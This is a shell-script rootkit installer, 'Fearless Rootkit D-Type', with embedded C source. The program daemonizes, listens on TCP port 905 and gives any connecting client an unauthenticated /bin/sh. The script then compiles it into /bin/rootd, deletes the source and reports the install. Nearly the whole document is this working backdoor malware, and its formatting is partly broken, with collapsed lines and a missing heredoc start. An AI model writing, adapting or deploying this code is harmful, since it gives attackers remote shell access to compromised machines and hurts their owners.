#!/bin/sh # Fearless Rootkit D-Type v0.1 # Coded by Merlion # Website: http://areyoufearless.com # chmod 755 rootd.sh # ./rootd.sh # telnet to port 905 & run commands. End each command with a semicolon (;) #include <stdio.h> #include <string.h> #include <netdb.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> void die(char *error); main(int argc, char **argv) { pid_t pid, sid; int len, clipid, serpid, stat, sock, soklen, sockbind, sockrec, sockopt, sockcli, socklen; unsigned short int mcon; unsigned short int port; char *rbuf, *rmode; struct sockaddr_in Client, Server; if ((sock=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) die("Error creating socket"); if (argc != 3) die("Usage"); memset(&Server, 0, sizeof(Server)); Server.sin_family=AF_INET; port=905; mcon=5; Server.sin_port=htons(port); Server.sin_addr.s_addr=htonl(INADDR_ANY); if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (void *) &sockopt, sizeof(sockopt)) < 0) die("No socket options set"); if (sockbind=bind(sock, (struct sockaddr *) &Server, sizeof(Server)) != 0) die("Could not bind socket"); if ((sockbind=listen(sock, mcon)) != 0) die("Failed on listen()"); pid=fork(); if (pid < 0) die("Initial fork() failed"); if (pid>0) exit(0); if ((chdir("/")) < 0) die("Could not set working directory"); if ((setsid()) < 0) die("setsid() failed in creating daemon"); umask(0); close(STDIN_FILENO); close(STDOUT_FILENO); close(STDERR_FILENO); /* You're on your own, pal.. */ while(1) { socklen=sizeof(Client); if ((sockcli=accept(sock, (struct sockaddr *) &Client, &socklen)) < 0) exit(1); /* syslog msg here still */ clipid=getpid(); serpid=fork(); if (serpid > 0) waitpid(0, &stat, 0); dup2(sockcli, 1); execl("/bin/sh","sh",(char *)0); } close(sockcli); } void die(char *error) { fprintf(stderr, "%s\n", error); exit(1); } EOF gcc -o /bin/rootd /tmp/rootd.c rm -f /tmp/rootd.c rootd $port $max echo "Rootkit installed at port 905" exit 0